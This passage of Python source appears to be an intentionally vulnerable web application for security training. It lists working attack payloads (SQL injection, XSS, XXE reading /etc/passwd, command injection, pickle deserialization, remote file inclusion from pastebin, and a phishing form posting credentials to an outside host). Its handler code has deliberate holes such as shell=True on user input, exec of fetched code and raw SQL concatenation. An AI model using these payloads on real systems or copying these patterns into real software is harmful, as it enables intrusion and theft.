\n\n" % (GITHUB, re.search(r"\(([^)]+)", NAME).group(1), VERSION) +USERS_XML = """adminadminadmin7en8aiDoh!driccidianricci12345amasonanthonymasongandalfsvargassandravargasphest1945""" +CASES = (("Blind SQL Injection (boolean)", "?id=2", "/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27\" onclick=\"alert('checking if the first character for admin\\'s password is digit \\'7\\' (true in case of same result(s) as for \\'vulnerable\\')')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#boolean-exploitation-technique"), ("Blind SQL Injection (time)", "?id=2", "/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))\" onclick=\"alert('checking if the second character for admin\\'s password is letter \\'e\\' (true in case of delayed response)')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#time-delay-exploitation-technique"), ("UNION SQL Injection", "?id=2", "/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#union-exploitation-technique"), ("Login Bypass", "/login?username=&password=", "/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#classic-sql-injection"), ("HTTP Parameter Pollution", "/login?username=&password=", "/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution"), ("Cross Site Scripting (reflected)", "/?v=0.2", "/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting"), ("Cross Site Scripting (stored)", "/?comment=\" onclick=\"document.location='/?comment='+prompt('please leave a comment'); return false", "/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting"), ("Cross Site Scripting (DOM)", "/?#lang=en", "/?foobar#lang=en%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting"), ("Cross Site Scripting (JSONP)", "/users.json?callback=process\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=process';document.getElementsByTagName('head')[0].appendChild(script);return false", "/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false", "http://www.metaltoad.com/blog/using-jsonp-safely"), ("XML External Entity (local)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E" if os.name != "nt" else "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2FC%3A%2FWindows%2Fwin.ini%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("XML External Entity (remote)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3Dh1rvVnvx%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("Server Side Request Forgery", "/?path=", "/?path=http%3A%2F%2F127.0.0.1%3A631" if os.name != "nt" else "/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini", "http://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/"), ("Blind XPath Injection (boolean)", "/?name=dian", "/?name=admin%27%20and%20substring(password%2Ftext()%2C3%2C1)%3D%27n\" onclick=\"alert('checking if the third character for admin\\'s password is letter \\'n\\' (true in case of found item)')", "https://owasp.org/www-community/attacks/XPATH_Injection"), ("Cross Site Request Forgery", "/?comment=", "/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E\" onclick=\"alert('please visit \\'vulnerable\\' page to see what this click has caused')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery"), ("Frame Injection (phishing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Frame Injection (content spoofing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Clickjacking", None, "/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking"), ("Unvalidated Redirect", "/?redir=", "/?redir=http%3A%2F%2Fdsvw.c1.biz", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html"), ("Arbitrary Code Execution", "/?domain=www.google.com", "/?domain=www.google.com%3B%20ifconfig" if os.name != "nt" else "/?domain=www.google.com%26%20ipconfig", "https://en.wikipedia.org/wiki/Arbitrary_code_execution"), ("Full Path Disclosure", "/?path=", "/?path=foobar", "https://owasp.org/www-community/attacks/Full_Path_Disclosure"), ("Source Code Disclosure", "/?path=", "/?path=dsvw.py", "https://www.imperva.com/resources/glossary?term=source_code_disclosure"), ("Path Traversal", "/?path=", "/?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" if os.name != "nt" else "/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini", "https://www.owasp.org/index.php/Path_Traversal"), ("File Inclusion (remote)", "/?include=", "/?include=http%%3A%%2F%%2Fpastebin.com%%2Fraw.php%%3Fi%%3D6VyyNNhc&cmd=%s" % ("ifconfig" if os.name != "nt" else "ipconfig"), "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion"), ("HTTP Header Injection (phishing)", "/?charset=utf8", "/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E", "https://www.rapid7.com/db/vulnerabilities/http-generic-script-header-injection"), ("Component with Known Vulnerability (pickle)", "/?object=%s" % urllib.parse.quote(pickle.dumps(dict((_.findtext("username"), (_.findtext("name"), _.findtext("surname"))) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))), "/?object=cos%%0Asystem%%0A(S%%27%s%%27%%0AtR.%%0A\" onclick=\"alert('checking if arbitrary code can be executed remotely (true in case of delayed response)')" % urllib.parse.quote("ping -c 5 127.0.0.1" if os.name != "nt" else "ping -n 5 127.0.0.1"), "https://www.cs.uic.edu/~s/musings/pickle.html"), ("Denial of Service (memory)", "/?size=32", "/?size=9999999", "https://owasp.org/www-community/attacks/Denial_of_Service")) + +def init(): + global connection + http.server.HTTPServer.allow_reuse_address = True + connection = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) + cursor = connection.cursor() + cursor.execute("CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, name TEXT, surname TEXT, password TEXT)") + cursor.executemany("INSERT INTO users(id, username, name, surname, password) VALUES(NULL, ?, ?, ?, ?)", ((_.findtext("username"), _.findtext("name"), _.findtext("surname"), _.findtext("password")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))) + cursor.execute("CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)") + +class ReqHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") + code, content, params, cursor = http.client.OK, HTML_PREFIX, dict((match.group("parameter"), urllib.parse.unquote(','.join(re.findall(r"(?:\A|[?&])%s=([^&]+)" % match.group("parameter"), query)))) for match in re.finditer(r"((\A|[?&])(?P[\w\[\]]+)=)([^&]+)", query)), connection.cursor() + try: + if path == '/': + if "id" in params: + cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"]) + content += "
Result(s):
%s
idusernamenamesurname
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) + elif "v" in params: + content += re.sub(r"(v)[^<]+()", r"\g<1>%s\g<2>" % params["v"], HTML_POSTFIX) + elif "object" in params: + content = str(pickle.loads(params["object"].encode())) + elif "path" in params: + content = (open(os.path.abspath(params["path"]), "rb") if not "://" in params["path"] else urllib.request.urlopen(params["path"])).read().decode() + elif "domain" in params: + content = subprocess.check_output("nslookup " + params["domain"], shell=True, stderr=subprocess.STDOUT, stdin=subprocess.PIPE).decode() + elif "xml" in params: + content = lxml.etree.tostring(lxml.etree.parse(io.BytesIO(params["xml"].encode()), lxml.etree.XMLParser(no_network=False)), pretty_print=True).decode() + elif "name" in params: + found = lxml.etree.parse(io.BytesIO(USERS_XML.encode())).xpath(".//user[name/text()='%s']" % params["name"]) + content += "Surname: %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX) + elif "size" in params: + start, _ = time.time(), "
".join("#" * int(params["size"]) for _ in range(int(params["size"]))) + content += "Time required (to 'resize image' to %dx%d): %.6f seconds%s" % (int(params["size"]), int(params["size"]), time.time() - start, HTML_POSTFIX) + elif "comment" in params or query == "comment=": + if "comment" in params: + cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime())) + content += "Thank you for leaving the comment. Please click here here to see all comments%s" % HTML_POSTFIX + else: + cursor.execute("SELECT id, comment, time FROM comments") + content += "
Comment(s):
%s
idcommenttime
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) + elif "include" in params: + backup, sys.stdout, program, envs = sys.stdout, io.StringIO(), (open(params["include"], "rb") if not "://" in params["include"] else urllib.request.urlopen(params["include"])).read(), {"DOCUMENT_ROOT": os.getcwd(), "HTTP_USER_AGENT": self.headers.get("User-Agent"), "REMOTE_ADDR": self.client_address[0], "REMOTE_PORT": self.client_address[1], "PATH": path, "QUERY_STRING": query} + exec(program, envs) + content += sys.stdout.getvalue() + sys.stdout = backup + elif "redir" in params: + content = content.replace("", "" % params["redir"]) + if HTML_PREFIX in content and HTML_POSTFIX not in content: + content += "
Attacks:
\n
    %s\n
\n" % ("".join("\n%s - vulnerable|exploit|info" % (" class=\"disabled\" title=\"module 'python-lxml' not installed\"" if ("lxml.etree" not in sys.modules and any(_ in case[0].upper() for _ in ("XML", "XPATH"))) else "", case[0], case[1], case[2], case[3]) for case in CASES)).replace("vulnerable|", "-|") + elif path == "/users.json": + content = "%s%s%s" % ("" if not "callback" in params else "%s(" % params["callback"], json.dumps(dict((_.findtext("username"), _.findtext("surname")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))), "" if not "callback" in params else ")") + elif path == "/login": + cursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'") + content += "Welcome %s" % (re.sub(r"[^\w]", "", params.get("username", "")), "".join(random.sample(string.ascii_letters + string.digits, 20))) if cursor.fetchall() else "The username and/or password is incorrect" + else: + code = http.client.NOT_FOUND + except Exception as ex: + content = ex.output if isinstance(ex, subprocess.CalledProcessError) else traceback.format_exc() + code = http.client.INTERNAL_SERVER_ERROR + finally: + self.send_response(code) + self.send_header("Connection", "close") + self.send_header("X-XSS-Protection", "0") + self.send_header("Content-Type", "%s%s" % ("text/html" if content.startswith("") else "text/plain", "; charset=%s" % params.get("charset", "utf8"))) + self.end_headers() + self.wfile.write(("%s%s" % (content, HTML_POSTFIX if HTML_PREFIX in content and GITHUB not in content else "")).encode()) + self.wfile.flush() + +class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer): + def server_bind(self): + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + http.server.HTTPServer.server_bind(self) + +if __name__ == "__main__": + init() + print("%s #v%s\n by: %s\n\n[i] running HTTP server at 'http://%s:%d'..." % (NAME, VERSION, AUTHOR, LISTEN_ADDRESS, LISTEN_PORT)) + try: + ThreadingServer((LISTEN_ADDRESS, LISTEN_PORT), ReqHandler).serve_forever() + except KeyboardInterrupt: + pass + except Exception as ex: + print("[x] exception occurred ('%s')" % ex) + finally: + os._exit(0)